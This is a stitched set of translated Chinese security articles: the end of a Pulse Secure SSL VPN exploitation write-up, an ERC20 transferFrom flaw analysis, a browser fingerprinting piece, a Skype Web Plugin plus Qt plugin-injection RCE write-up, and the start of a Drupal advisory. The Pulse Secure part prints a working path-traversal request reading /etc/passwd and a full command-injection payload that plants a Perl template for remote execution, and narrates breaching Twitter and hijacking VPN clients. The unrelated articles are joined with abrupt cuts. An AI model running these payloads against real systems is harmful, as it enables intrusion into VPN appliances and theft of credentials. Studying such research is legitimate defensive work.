为了处理静态资源，Pulse Secure创建了一个新的IF-CONDITION来扩展最初的严格路径验证。错误地使用了request->uri
和request->filepath，因此我们可以指定：
/dana/html5acc/guacamole/
查询字符串的末尾以绕过验证并request->filepath生成要下载的任何文件！
为了读取任意文件，必须再次指定路径：
/dana/html5acc/guacamole/
路径的中间位置，否则，只能下载有限的文件扩展名，例如.json，.xml或.html。
由于此漏洞会被在野利用，因此不再发布具体的payload：
import requests
r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content
### 7.CVE-2019-11539：授权后（admin）命令注入
最后一个是管理接口上的命令注入，我们很早就发现了这个漏洞，但最初找不到利用它的方法。当我们在拉斯维加斯时，我的一个朋友告诉我他之前发现了同样的问题，但他没有找到利用它的方法，因此他没有向供应商报告。
但是，我们做到了，我们以非常聪明的方式利用了它:)
这个漏洞的触发原因非常简单。这是一段/dana-admin/diag/diag.cgi的代码片段：
# ...
$options = tcpdump_options_syntax_check(CGI::param("options"));
# ...
sub tcpdump_options_syntax_check {
my $options = shift;
return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
return undef;
}
常明显的options参数命令注入
但是，并没有那么简单被利用，为了避免潜在的漏洞，Pulse
Secure在其产品上应用了大量的hardenings工具！比如系统完整性检查，只读文件系统和挂载所有危险的Perl调用模块，比如：system，open，backtick
这个模块被DSSAFE.pm调用，它实现了自己的命令行解析器，并重新实现了Perl中的I /
O重定向。这是Gist上的[代码片段](https://gist.github.com/orangetw/d8df11b147629bb320e7db903c7e7147)。
# ...
@EXPORT = qw(open popen ppopen close system psystem exec backtick pbacktick
maketemp untaint is_tainted);
# ...
sub __parsecmd {
my $cmd = shift;
my @args = quotewords('s+', 1, $cmd);
my @env = (); # currently not used. pending review.
my @xargs = (); # arguments of the command
my ($xcmd, $fout, $fin, $ferr, $mout, $min, $merr, $rd2);
while (@args) {
my $arg = shift @args;
next if (length($arg) == 0);
unless (defined $xcmd) {
if ($arg =~ /^(w+)=(.+)$/) {
push @env, {$1 => $2};
next;
} elsif ($arg =~ /^[^/a-zA-Z]/) {
__log("Invalid command: $cmd"); # must be / or letter
return undef;
}
$xcmd = untaint($arg);
next;
}
if ($arg =~ /^(2|1)>&(2|1)$/) {
$rd2 = $2;
} elsif ($arg =~ /^(1|2)?(>>?)([^>].*)?$/) {
if ($1 and $1 == 2) {
($merr, $ferr) = ($2, $3 || untaint(shift @args));
} else {
($mout, $fout) = ($2, $3 || untaint(shift @args));
}
} elsif ($arg =~ /^(<)(.+)?$/) {
($min, $fin) = ($1, $2 || untaint(shift @args));
} elsif ($arg =~ /^(>&)(.+)?$/) {
$fout = $ferr = $2 || untaint(shift @args);
$mout = $merr = ">";
} elsif ($arg =~ /^('|")(.*)('|")$/) {
push @xargs, $2; # skip checking meta between quotes
# } elsif ($arg =~ /[$&*(){}[]`;|?n~<>]/) {
} elsif ($arg =~ /[&*(){}[]`;|?n~<>]/) {
__log("Meta characters not allowed: ($arg) $cmd");
return undef;
} elsif ($arg =~ /W$/) {
__log("Meta characters not allowed: ($arg) $cmd");
} else {
push @xargs, untaint($arg);
}
}
if ($rd2) {
# redirect both 2 and 1 to the same place
if (defined $fout) {
($ferr, $merr) = ($fout, $mout);
} elsif (defined $ferr) {
($fout, $mout) = ($ferr, $merr);
} elsif ($rd2 == 1) {
open STDERR, ">&STDOUT" or die "cannot dup STDERR to STDOUT:$!n";
select STDERR; $|=1;
select STDOUT; $|=1;
} elsif ($rd2 == 2) {
open STDOUT, ">&STDERR" or die "cannot dup STDOUT to STDERR:$!n";
select STDOUT; $|=1;
select STDERR; $|=1;
}
}
unless ($xcmd) {
__log("Command parsing error: $cmd");
return undef;
}
# need to untaint $cmd. otherwise the whole hash will be tainted.
# but $cmd will never be used for exec anyway, only for debug.
my $params = { cmd => untaint($cmd), xcmd => $xcmd, xargs => @xargs };
$params->{fstdout} = $fout if $fout;
$params->{mstdout} = $mout if $mout;
$params->{fstderr} = $ferr if $ferr;
$params->{mstderr} = $merr if $merr;
$params->{fstdin} = $fin if $fin;
$params->{mstdin} = $min if $min;
return $params;
}
# ...
sub system {
return CORE::system(@_) if (@_ > 1);
my $params = __parsecmd(join(' ', @_));
return -1 unless ($params);
# We want SIGINT and SIGQUIT to be ignored in the parent
# while the child is running. However, we want the child
# to get these signals -- so we declare a block around
# the code that ignores SIGINT such that the child will
# exec with the signals turned on.
{
local $SIG{INT} = 'IGNORE';
local $SIG{QUIT} = 'IGNORE';
flush STDOUT; flush STDERR; flush STDIN;
my $pid = fork;
unless (defined $pid) {
__log("system: cannot fork $!");
return -1;
}
if ($pid) {
waitpid $pid, 0;
return $?;
}
}
return __execo $params;
}
从代码片段中，可以看到它替换原始system片段并进行大量__parsecmd检查，它还会阻止许多危险输入，例如：
[&*(){}[]`;|?n~<>]
检查非常严格，因此我们无法执行任何命令注入，我们设想了几种绕过它的方法，我想到的第一件事就是参数注入。
我们列出了TCPDUMP支持的所有参数，并发现-z postrotate-command可能会有用。但令人遗憾的是，TCPDUMP只对
Pulse Secure（v3.9.4，2005年9月）支持这个功能，所以我们失败了:(
在检查系统时，我们发现虽然webroot是只读的，但可以仍然利用.Pulse
Secure缓存机制的/data/runtime/tmp/tt/缓存模板以加速脚本输出。
所以我们下一步尝试是通过-w write-file参数将文件写入模板缓存目录。但是，似乎不可能在PCAP和PCAP中编写多语言文件。
我们试图深入研究DSSFAFE.pm的实现，看看是否有任何可以利用的东西。在这里，我们在命令行解析器中发现了一个问题。如果插入不完整的I /
O重定向，则重定向部分的其余部分将被截断。虽然这是一个小小的bug，但它帮助我们重新控制了I /
O重定向！但是，无法生成有效Perl脚本的问题仍然困扰着我们。
我们被困在这里，很难生成有效的Perl脚本`STDOUT`，可以只编写Perl `STDERR`吗？确实可以，当通过`TCPDUMP` -r read-file读取不存在的文件时，它显示如下错误：
> tcpdump: [filename]: No such file or directory
看来我们可以部分地控制错误信息，然后我们尝试了文件名`print 123#`，神奇的事情发生了！
$ tcpdump -d -r 'print 123#'
tcpdump: print 123#: No such file or directory
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
123
错误消息现在变为有效的Perl脚本，为什么会这样？
Perl支持GOTO标签，因此tcpdump:`成为了Perl中的有效标签，然后，用标签对其余部分进行comment，有了这个技巧，我们现在可以生成任何有效的Perl脚本！
最后，我们使用不完整的I / O符号`<`来欺骗`DSSAFE.pm`命令解析器并将其重定向`STDERR`到缓存目录中！
这是最终的漏洞利用PoC：
-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <
连接命令如下所示：
/usr/sbin/tcpdump -d
-r'$x="ls /",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc <
>/dev/null
2>&1
生成的`setcookie.thtml.ttc`内容如下：
tcpdump: $x="ls /",system$x#: No such file or directory
现在就可以获取相应的页面来执行命令：
$ curl https://sslvpn/dana-na/auth/setcookie.cgi
boot bin home lib64 mnt opt proc sys usr var
data etc lib lost+found modules pkg sbin tmp
...
到目前为止，这个命令注入的完整利用就结束了，但是，我们认为可能有另一种创造性的方式来利用这个漏洞，如果你找到了，请告诉我！
## 0x04 对twitter的漏洞利用实例
Pulse
Secure在2019年4月24日修补了所有漏洞，我们一直在扫描公网，以衡量每家大公司的响应时间，Twitter就是其中之一。他们的漏洞赏金奖励计划赏金很高，对白帽子黑客很友好。
但是，在补丁发布后立即利用是不合适的，所以我们等待了30天让Twitter升级他们的SSL VPN。
我们不得不说，那段时间我们很紧张，我们每天早上做的第一件事就是检查Twitter是否升级了他们的SSL VPN！对我们来说这是一个难忘的时刻。
我们在2019年5月28日开始攻击Twitter，在这次行动中，我们遇到了几个障碍。第一个是，虽然我们可以获得Twitter员工的明文密码，但由于双因素身份验证，我们仍然无法登录他们的SSL
VPN。在这里，我们建议两种方法绕过它。第一个是我们观察到Twitter使用了Duo的解决方案。该手册中提到：
>
> Duo应用程序的安全性与您的密钥（skey）的安全性有关，要像保护任何敏感凭证一样保护它。不要与未经授权的个人分享或在任何情况下通过电子邮件发送给任何人！
因此，如果我们可以从系统中提取密钥，我们可以利用Duo
API绕过2FA。但是，我们找到了绕过它的更快捷的方法。Twitter启用了漫游会话功能，该功能用于增强移动性并允许来自多个IP位置的会话。
由于这个“ 方便 ”的功能，我们可以下载会话数据库并伪造我们的cookie登录他们的系统！
到目前为止，我们可以访问Twitter
Intranet。不过，我们的目标是实现代码执行！这比仅仅访问内网更重要。所以我们想利用命令注入漏洞（CVE-2019-11539）。
在这里我们又遇到了另一个障碍，这是一个受限制的管理界面！
正如我们之前提到的，我们的障碍在于管理界面，但出于安全考虑，大多数公司都禁用此界面，因此我们需要另一种方式来访问管理页面。如果您仔细阅读了我们之前的文章，您可能会想起“
WebVPN ”功能！WebVPN是一种有助于连接到任何地方的代理。
在这里，我们使用一个小技巧来绕过SSRF保护。
通过SSRF漏洞，我们现在可以进入管理界面！然后，最后一个障碍出现了。我们没有管理员的任何明文密码。当Perl想要与本机过程交换数据时，例如C
++中的Perl扩展或Web服务器，它使用缓存来存储数据。问题是，Pulse
Secure忘记在交换后清除敏感数据，这就是我们可以在缓存中获取明文密码的原因。但实际上，大多数管理人员只是第一次登录他们的系统，所以很难获得经理的明文密码。我们唯一得到的是sha256(md5_crypt(salt,
…))格式的密码哈希
如果你破解过哈希，你会知道它有多难。所以我们推出了一个72核心的AWS来解决这个问题。
我们破解了哈希并成功获得了RCE！我认为我们很幸运，因为根据我们的观察，Twitter员工有一个非常强大的密码保护策略。但似乎策略不适用于经理level的员工，他们的的密码长度只有十位，且第一个字符是B，它处于破解队列字符的前面，因此我们可以在3小时内破解哈希。
我们向Twitter报告了我们的所有研究成果，并从中获得了最高的赏金。虽然我们无法证明这一点，但这似乎是Twitter上的第一个远程代码执行！
## 0x05 修复建议
如何减轻此类攻击？在这里我们提出几点建议：
客户端证书。这也是最有效的方法，如果没有有效的证书，恶意连接将在SSL协商期间被删除！
多因素身份验证。虽然我们这次攻入了Twitter 2FA，但是在适当的设置下，MFA仍然可以减少攻击面
启用完整日志审核
最重要的是，始终保持您的系统更新！
## 0x06 接管所有VPN客户端
我们的公司DEVCORE在亚洲提供最专业的红队攻击服务。在这个部分，让我们谈谈如何让红队利用此漏洞！
我们知道，在红队攻击中，拿下个人电脑更有价值，有一些老方法可以通过SSL VPN破坏VPN客户端，例如更换VPN代理。
在我们的研究过程中，我们发现了一个新的攻击媒介来接管所有客户。就是“ 登录脚本 ”功能，它几乎出现在每个SSL
VPN中，例如OpenVPN，Fortinet，Pulse Secure
……等等。它可以执行相应的脚本来安装网络文件系统，或者在建立VPN连接后更改路由表。
由于这种“ 黑客友好 ”功能，一旦我们获得管理员权限，我们就可以利用此功能感染所有VPN客户端！这里以Pulse
Secure为例，演示如何不仅可以攻击SSL VPN，还可以接管所有连接的客户端：
成功拿到SSID的cookie
在浏览器替换cookie
写入执行命令
客户端连接VPN，成功命令执行
## 0x07 总结
这是攻击SSL VPN系列的最后一部分！根据我们的研究结果，SSL
VPN是一个巨大的攻击面，很少有安全研究人员深入研究这个领域，显然，它值得更多的关注。我们希望这个系列的研究可以鼓励其他研究人员参与这一领域，提高企业的安全性！
感谢我们遇到的所有人，我们将在未来发表更多有意思的研究:) | 社区文章 |
# 以太坊erc20智能合约任意转账漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 漏洞描述
以太坊erc20智能合约存在漏洞，transferFrom转账函数校验不严格，导致攻击者可以转走任意用户的代币。
## 漏洞影响
昨天，经过360智能合约平台监控发现，edu代币存在交易异常，经过分析发现，其智能合约transferFrom函数存在问题，导致攻击者可以转走任意用户的代币，最后经过分析发现包括EDU在内总共有7个智能合约存在相同的问题，其代币合约地址:
1.0x81f074bb3b158bf81799dcff159521a089e59a37
2.0x6ec0a0901715e0d015fd775e5dfddd7f2de0308e
3.0x87be146d2e2d2ae71a83895a3ad15c66546af5e2
4.0xf270f361edca19f7063184b0e6b4f264468ecbc1
5.0x0156888f51d68f858ac88aba45df699e2af2e4cc VRT
6.0x14d9779b6585f3a7d4f768383b3cb030705dad2e BAI
7.0xa0872ee815b8dd0f6937386fd77134720d953581 EDU
其中 **前四个** 合约已经很久没有交易，基本废弃。目前还在交易的，影响比较大的是 **后三个** 代币。
以EDU代币为例，我们可以看到较近交易数据中存在大额交易异常，如下图所示：
## 漏洞成因
经过分析发现EDU代币的transferFrom函数中,allowed[from][msg.sender]减去要转账的数字时候，没有对比allowed[from][msg.sender]的值与value的值得大小，从而使得可以转走比allowed[from][msg.sender]大的数目的代币。
## 如何避免这个问题
经过对这些合约的分析，我们发现基本上合约开发人员会去校验blances[from]的值,而对allowed[from][msg.sender]的校验却忽略了,合约开发者开发者应该去选择调用更安全的safemath库函数来进行数字运算操作，防止任意转账的操作。
## 关于我们
360作为全球最大互联网安全企业，致力于提供区块链相关安全解决方案，为区块链行业客户及互联网用户提供安全保障。 | 社区文章 |
原文链接：[MalwarebytesLab](https://blog.malwarebytes.com/cybercrime/exploits/2016/08/browser-based-fingerprinting-implications-and-mitigations/)
原作者： **Jérôme Segura**
译： **Holic (知道创宇404安全实验室)**
**更新于: 10/11/2016**
微软修复了其它指纹识别漏洞. 我们之前提到它“未修复”, 对应
CVE-2016-3298。现在任何指纹识别的尝试都会返回成功的标志(`onreadystatechange/onload` fire anyway)
即使相关资源并不存在。
实际上，这个补丁是确保内容来自于资源节，除了`res://ieframe.dll`没有被加载，反而地址栏设置成了默认的 about:blank 页面。
修复信息泄漏漏洞仍然是一个持续的问题。事实上，到Windows更新推送修复漏洞数小时的时间内，[Manuel
Caballero]（https://twitter.com/magicmac2000 ）发现了绕过方法。
**更新于： 09/19/2016**
[Manuel Caballero](https://twitter.com/magicmac2000) 已经绕过了 CVE-2016-3351
的补丁。可以去他的[博客](https://www.brokenbrowser.com/detecting-apps-mimetype-malware/)查看详情。正如我们在这篇博文的结尾所提到的“信息泄漏的漏洞似乎挥之不去，修复后很快又有新的浮出水面”。
**更新于: 09/14/2016**
经 Proofpoint 和 TrendMicro 的[研究发现](https://www.proofpoint.com/us/threat-insight/post/Microsoft-Patches-Zero-Day-Exploited-By-AdGholas-GooNky-Malvertising)，微软官方也[修复](https://technet.microsoft.com/library/security/MS16-104)了另一个信息泄漏
bug(CVE-2016-3351) 被称为 ‘MIME type check’ ，影响 IE 和 Edge 浏览器。 我们在下面的博客中有加入相关内容。
**Note** : ~~IE/Edge 的 res 漏洞 尚未修复~~ (感谢 [Manuel
Caballero](https://twitter.com/magicmac2000) 的检测).
* * *
正文内容：
恶意软件的作者会利用一切工具和手段来保证他们的操作在不被人察觉的模式下进行。指纹识别使得他们拥有了额外的优势，从而在安全研究人员面前瞒天过海，销声匿迹地进行大规模活动。简要描述的话，指纹识别技术利用了浏览器的信息泄露漏洞，允许攻击者读取用户的文件系统查找特定的名称。
有大量的指纹识别成功应用的例子；早在2016年3月时在我们的研究白皮书中就进行了报道，[Operation
Fingerprinting](https://malwarebytes.app.box.com/v/operation-fingerprint)，但即便如此也只是冰山一角而已。最近，Proofpoint
的研究者揭露了一次[大规模的恶意广告活动](https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight)
，该活动至少进行了一年甚至更久，这样恶意软件就有了很大的感染范围。它主要依靠指纹识别使其被细分真正的目标用户忽视，即真正运行OEM的计算机。
图1： 在恶意广告活动中使用指纹，隐藏在GIF图片中
当然，在日益增长复杂的线上攻击的层面上，这给防守方上了一课。同时，我们还能够轻松地从坏人的工具集中去除强大的武器，这可以迅速识别他们的活动，至少在他们想起其他技巧之前。
也有像指纹识别这样的隐私相关应用能够用来分析用户，这种是基于探测存在于他们机器上的一系列程序实现的。我们可以想象，A公司的营销人员对访问他们网站的人是否使用B公司的产品感兴趣。
图2：直接从浏览器检查是否安装了诺顿反病毒软件
使用简单的一小行代码即可完成（目前尚未修复，请在附加内容阅读相关细节），虽然这会让很多人大开眼界。不太正直的行动者可能会对监视利益相关者感兴趣，检查他们是否运行特定的类似于
VPN和加密软件的工具。
### 关于一些能造成漏洞的协议的历史
滥用 IE
协议使得恶意软件制造者运行恶意代码或者获取受害者的敏感信息。我们在此回顾一些过去和现在的技术，包括现在尚未修复并且在漏洞利用工具包和恶意广告中有用到的技术。
#### File:// protocol
如果我们回到XP SP2之前系统版本的时代，本地计算机域（ LMZ，local machine zone ）允许你突破其他协议的限制运行二进制文件，即
[file:// protocol](https://msdn.microsoft.com/en-us/library/aa767740\(v=vs.85\).aspx)
图3：微软修复了在IE6及之前版本运行二进制文件的缺陷
`file://`协议正如字面上所说，在运行本地计算机域上以全权限运行。你可以在页面中这么写：
<iframe src="file://c:/downloads/malicious.html"></iframe>
实例化 WScript.Shell 后，便可任意代码执行。
#### XMLDOM loadXML (CVE-2013-7331)
回到2013年，研究者发表了这样一篇文章：[ Microsoft XMLDOM in IE can divulge information of local
drive/network in error messages –
XXE](https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/)。
这项技术被漏洞利用工具包和一些恶意广告广泛利用。XMLDOM 技术在指纹识别方面是最强大的技术之一，因为它允许任何类型的文件进行检查（不仅是二进制文件）。
微软通过检测 XMLDOM
修复了这个漏洞，[这里](https://twitter.com/JohnLaTwC/status/700378442093559808)有相关的讨论。
PoC： http://pastebin.com/raw/Femy8HtG
#### Onload res:// CVE-2015-2413
res:// 是个IE内部协议，运行于 Internet 域 （即使是本地文件），允许网页从本地文件（从资源节）加载资源。同时，IE 对很多这种 `res:
URLs` 进行了“特殊”处理，允许它做的事情就像打开Internet 连接对话框这种行为。
微软允许 `res: URLs` 被正常的HTTP 网页加载，因为 IE/Edge 需要它来完成浏览器的一些功能，比如默认的错误和信息页面。
它加入了 Magnitude EK
，作为[入口](https://blog.malwarebytes.com/cybercrime/2016/04/magnitude-ek-malvertising-campaign-adds-fingerprinting-gate/)的预检测功能，但现在也已经修复了。res技术并不如
XMLDOM 一样好，因为它只能检测二进制文件，需要资源节部分。
图4：通过onload触发的脚本创建图片来检测资源是否被加载
正如在 Proofpoint 所描述的[详情](https://www.proofpoint.com/us/threat-insight/post/Microsoft-Patches-Zero-Day-Exploited-By-AdGholas-GooNky-Malvertising)，事实上早在2014年二月 MIME
类型检查已经使用了很长一段时间。使用这个漏洞的目的是为了发现是否有文件关联到特定安全或者开放程序上（例如 Wireshark, Fiddler,
Python 等），还有一些常规的软件（Skype, VLC
等）。通过这些判断，攻击者可以选择是否继续进行攻击。这便是筛选出安全研究员和真正目标群体的方法。这个bug在2016年9月13日被微软修复。
我们在2014年的11月“偶然”发现了这项技术，[这篇文章](https://blog.malwarebytes.com/threat-analysis/2014/11/the-proof-is-in-the-cookie/)里有所介绍，启动了各种事件的连锁反应。
我们在2015年中期再次遇到了它，它被成功的应用于[大型恶意广告](https://blog.malwarebytes.com/threat-analysis/2015/09/large-malvertising-campaign-goes-almost-undetected/)。这一次，恶意代码躲在了假的GIF图片里面。除了检查MIME类型，它也用到了XMLDOM漏洞。
如果你有兴趣检查这个BUG，[Manuel Caballero]()写了一小段[代码](http://pastebin.com/raw/8ezKBcVT)。
**Iframe res:// variant ~~(unpatched)~~**
更新于(10/11/2016): 微软已修复，对应 CVE-2016-3298.
受影响的软件：
操作系统：Windows 7, Windows 10 (均已修复).
浏览器： Internet Explorer 10, 11. Microsoft Edge (38.14393.0.0) & Microsoft
EdgeHTML (14.14393).
Note：比如 Microsoft Edge 浏览器，指纹识别技术仅对Windows 和 Program Files
文件夹起作用，因为AppContainer 不允许对系统的其它部分进行读取。
图5：利用网页确定 %system32% 路径下 calc.exe 的存在
**当前在漏洞利用工具包中的使用：**
我们研究了 Neutrino EK 通过相同的 Flash 利用工具过滤安全研究员，用来入侵感染系统的方法（[Neutrino EK:
fingerprinting in a
Flash](https://blog.malwarebytes.com/cybercrime/exploits/2016/06/neutrino-ek-fingerprinting-in-a-flash/)），以及其预检查的技巧（[https://blog.malwarebytes.com/cybercrime/exploits/2016/06/neutrino-ek-fingerprinting-in-a-flash/](https://blog.malwarebytes.com/threat-analysis/exploits-threat-analysis/2016/08/neutrino-ek-more-flash-trickery/)）。
图6：用来检查本地文件的iframe
使用在 Flash 利用代码中的 ActionScript ，Neutrino EK 能够检查可加载的资源并通过 JavaScript 和 DOM
来猜测那些文件是否存在。
**声明：鉴于微软目前正在制作补丁，我们没有共享我们的PoC。虽然这是真实的而且现实环境依然存在，我们写的 PoC 源自 Neutrino 基于 Flash
制作的指纹识别，更易被坏人所利用。如果你感兴趣，请私下联系我们。**
### 解决方案
一个很好的解决方是让IE加载只被自身加载的资源文件，比如mshtml.dll，ieframe.dll等文件。其他的应该被阻止加载。
换句话说，iexplorer.exe（或者其他使用 WebBrowser控件的其他二进制文件）应该只被允许加载 WebBrowser
引擎真正需要资源，其他一律禁止。res协议的唯一合法用途便是IE内部页面/对话框，也许以下旧的工具栏也需要。开发者工具（F12）也在使用它。
图7：在Microsoft Edge浏览器中的 res:// 调用
一些依赖于 res:// 的旧的工具栏可能会停止工作，但它们可以将那些特定的DLL列入白名单，或者采用更好的方法，即让开发者更新代码。
### 总结
信息泄漏的漏洞似乎挥之不去，修复后很快又有新的浮出水面。这可能是由于没有从根本上解决问题，也许是因为作出重大改变存在兼容性风险。
而这些缺陷相比之下并不严重，假设存在远程代码执行漏洞的话，这就能帮助坏人为真正的受害者保留那些远程代码执行漏洞并且在安全社区中隐藏更久。
### 致谢
非常感谢[ Manuel Caballero](https://twitter.com/magicmac2000)激励我更深入地研究这个问题。感谢[Eric
Lawrence](https://twitter.com/ericlaw)对Edge浏览器和影响路径上进行的额外检查。
* * * | 社区文章 |
原文链接：<https://0x41.cf/infosec/2019/05/28/skype-web-plugin-ez-rce.html>
* * *
### 前言
今年的早些时间，我听说研究人员可以向Discord（注：一款专为电子游戏社区设计的免费网络实时通话软件和数字发行平台）发送带有自定义URI
scheme的特定Link，启用桌面客户端的用户点击Link后无需确认即可触发某些操作。
这段时间我一直在测试URI
scheme，想要看看通过它可以做哪些进攻性行为，然后我发现可以在windows上执行各种有趣的操作，例如打开控制中心和任务切换器之类的。但不久我就失去了兴趣，因为我逐渐认识到Discord有一堆过滤器，例如由于研究人员提交的各种报告导致Discord会阻止大部分"恶意的"Scheme
Link（我仍不清楚Discord的具体过滤措施，但肯定不只简单地使用了白名单策略，可能还添加了一些正则等等 ¯_(ツ)_/¯）。
### Origin Vuln
在几个月后，Electronic Arts旗下数字平台Origin爆出易受由URI
Scheme造成RCE的新闻。Origin平台的Bug是由AngularJS模版注入导致的，Qt桌面服务与JavaScript通信的接口泄露 -[这里](https://zeropwn.github.io/2019-05-13-xss-to-rce/)有文章的更多细节。
随后作者又发布了[第二篇文章](https://zeropwn.github.io/2019-05-22-fun-with-uri-handlers/)，他发现了Origin的另一个flaw可导致RCE。该flaw和第一篇文章有些类似，但是利用Qt插件的特性，通过滥用插件从远程SMB服务加载任意`.dll`文件来实现RCE...
看完那篇文章后我重新枚举了本地机器的所有URL协议（工具：<https://github.com/ChiChou/LookForSchemes），>
然后摆弄一些URI Schemes，不久后我就发现了一个有趣的攻击向量...
### Qt插件注入
根据维基百科的描述，Qt是一个开源免费的应用程序框架，可以用来开发GUI程序和跨平台应用。似乎很多App都会用到它，我在本地64-bit机器用资源管理器做了一个简单的搜索，至少有九个应用程序使用了它：
大部分Qt应用程序都支持`-platformpluginpath`命令选项，使用这条命令可以指定要加载插件的路径。非常有意思的是它支持加载SMB共享的路径，所以我们可以通过这点远程加载插件。
但最重要的问题是，我们如何启动Qt程序而且还要携带`-platformpluginpath`的参数？
聪明的人可能已经猜到了，URI
Scheme。为了通过向命令行输入自定义的内容来启动App，必须要使用经注册的URI处理程序，向自定义的URL插入某些参数，从而实现网页启动，它在注册表里看起来像这样：
然而这个方法有个天然的缺陷，目前大部分浏览器都会对URI做URL-encode处理，然后再交由应用程序，这可能会加大闭合我们要注入参数的难度，因为大部分情况下我们都要往URI中的参数插入双引号`"`。
这时，Skype Web插件的用处就显现出来了...
### Skype Web插件
Skype For Web推出后，用户可以使用Skype For
Web进行即时通信和共享多媒体文件，但不能用于VoIP（注：网络IP电话）。为了在浏览器中使用上述功能，正常拨打语音和视频电话，用户必须安装该插件。
经搜索可以发现目前网上这个插件的最新版本是7.32.6.278，并且是在2016更新的，你可以在官方CDN上下载该插件：<https://swx.cdn.skype.com/plugin/7.32.6.278/SkypeWebPlugin.msi。>
Microsoft后来推出了无插件的Skype for Web，但Internet
Explore不适用。随后Microsoft停止更新该插件，不再向Internet
Explore提供这个插件的维护。但以前安装的仍可以使用，用户也可以手动卸载。
'Skype Web Plugin'注册了一个自定义的URI处理程序：`swx`，通过它可以启动`SkypeShell.exe`，这看起来跟Internet
Explorer Shell有些关联，打开网页应该会使用IE的渲染引擎（nshtml.dll）。
令我感到有些惊讶，所有的HTTP(S)链接都可以更改为`swx`协议，单击链接后机器会自动使用nshtml.dll渲染引擎为你呈现页面，这会带来大麻烦...
首先，IE protected
mode（保护模式）默认是关闭的，所以这里可能会有更多的潜在攻击向量，我对保护模式具体是如何工作的并不了解，但我可以肯定这会带来一些问题...
第二（前文我提到过），我可以在shell中运行自定义URI的Link，并且用户完全不清楚发生了什么。
例如，正常运行IE时我们通过插件注入尝试启动Qt时，会有以下提示：
因此无论受害者使用哪款浏览器，我们都可以注入参数，并且通过URIs并发启动多个程序。
### 概念证明
现在我们对要使用的攻击向量有一定的了解，接下来则是尝试利用。
首先我们要找到使用Qt的目标应用，通过它们（大部分）可以加载插件，并且可以调用经注册的URI处理程序。
在我的电脑上我找到了两个这样的应用：
* [Free Download Manager](https://0x41.cf/infosec/2019/05/28/freedownloadmanager.org) \- Google搜索"download manager"的第二条结果。
* 当然，还有[Origin](https://0x41.cf/infosec/2019/05/28/origin.com)。
我想要找到更多符合条件的应用，没有费多大力气，我又找到了一个：[Transmission](https://github.com/transmission/transmission)
torrent客户端。
我前面已经说过了这不是新技术，两个月前就有人写了篇[文章](https://www.zerodayinitiative.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-2019-6739)介绍他们是如何发现Malwarebytes与Cisco Webex
Teams易受这类攻击的，但本文我要分享的有些不同，我可以借助Skype Web插件实现隐秘启动并且更加可靠...
创建一个.html文件，填充iframe并把src属性设置为`calculator://`：
<iframe src='calculator://' height="0" frameborder="0"></iframe>
<iframe src='calculator://' height="0" frameborder="0"></iframe>
...
和预期相符，不久我就听到我的CPU风扇开始咆哮...
OK，现在起码可以通过发送垃圾邮件来造成DoS攻击，受害者点击链接后会启用某些很占资源的app。
现在是时候尝试代码执行了。我用Visual
Studio写代码编译了一个简单的DLL文件，附加后可以弹出消息文本框（MessageBox），内容是要启动程序的进程名称。
为了使.dll文件可以成功加载Qt应用，还需要做到以下几点：
* **添加一个.qtmetad包含有效插件元数据的部分：** 我们先用VS生成一个空DLL，然后我们用十六进制编辑器手动填写原始插件中的内容。
* **找到目标覆盖插件：** Windows上有一个名为Windows Integration（qwindows.dll）的插件，似乎所有App运行时都会用到它。
为了使攻击更加隐蔽，我添加了退出函数`ExitProcess()`，以防在DLL执行后启动真正的目标应用程序，因此攻击过程没有太多阻拦（除了Skype
shell），用户也不会注意到什么。
最后一件事就是添加一个SMB共享，用来托管恶意插件。
注：为了方便理解，请读者查看Poc演示视频（包含制作DLL文件到打开三个App的所有过程）：
<https://youtu.be/xVZU-2Y0Pzc>
### DoS
我曾经遇到过`ms-cxh-full:/`，这种URI似乎是全荧屏浏览的`ms-cxh://`，用于微软账户的某些设置，有趣的是它似乎会导致黑屏，受害者只有重启机器或登出账户才能解除。⚠️ Try at your own risk ⚠️ | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2016-09-22**
## 0x00 漏洞概述
### 1.漏洞简介
Drupal （ https://www.drupal.org ）是一个自由开源的內容管理系统，近期研究者发现在其8.x <
8.1.10的版本中发现了三个安全漏洞，其中一个漏洞攻击者可以在未授权的情况下下载管理员之前导出的配置文件压缩包`config.tar.gz`。Drupal官方在9月21日发布了升级公告（
https://www.drupal.org/SA-CORE-2016-004 ）。
### 2.漏洞影响
未授权状态下下载管理员之前导出的配置文件
### 3.影响版本
8.x < 8.1.10
## 0x01 漏洞复现
### 1\. 环境搭建
Dockerfile（来自Docker Hub）
# from https://www.drupal.org/requirements/php#drupalversions
FROM php:7.0-apache
RUN a2enmod rewrite
# install the PHP extensions we need
RUN apt-get update && apt-get install -y libpng12-dev libjpeg-dev libpq-dev \
&& rm -rf /var/lib/apt/lists/* \
&& docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \
&& docker-php-ext-install gd mbstring opcache pdo pdo_mysql pdo_pgsql zip
# set recommended PHP.ini settings
# see https://secure.php.net/manual/en/opcache.installation.php
RUN { \
echo 'opcache.memory_consumption=128'; \
echo 'opcache.interned_strings_buffer=8'; \
echo 'opcache.max_accelerated_files=4000'; \
echo 'opcache.revalidate_freq=60'; \
echo 'opcache.fast_shutdown=1'; \
echo 'opcache.enable_cli=1'; \
} > /usr/local/etc/php/conf.d/opcache-recommended.ini
WORKDIR /var/www/html
# https://www.drupal.org/node/3060/release
ENV DRUPAL_VERSION 8.1.9
ENV DRUPAL_MD5 4de7c001ecbd5c27e5837c97e40facc2
RUN curl -fSL "https://ftp.drupal.org/files/projects/drupal-${DRUPAL_VERSION}.tar.gz" -o drupal.tar.gz \
&& echo "${DRUPAL_MD5} *drupal.tar.gz" | md5sum -c - \
